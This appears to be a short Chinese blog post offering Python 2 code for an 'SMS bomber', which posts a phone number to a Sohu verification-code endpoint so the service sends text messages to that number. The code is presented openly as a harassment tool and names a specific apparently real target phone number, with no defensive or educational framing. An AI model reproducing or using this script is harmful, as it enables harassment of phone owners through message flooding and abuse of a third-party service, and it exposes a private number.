見有人發(fā)了個短信轟炸,是用PHP實現(xiàn)的,本人研究了下,用python實現(xiàn)短信轟炸機,具體代碼如下:
import urllib2
import cookielib
import urllib
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
response = opener.open('http://t.sohu.com/settings/bindMobile/registSendVerificationCode')
data={'mobileNumber':'13558233012'}
r=opener.open('http://t.sohu.com/settings/bindMobile/registSendVerificationCode',urllib.urlencode(data))
print r.read()
更多信息請查看IT技術專欄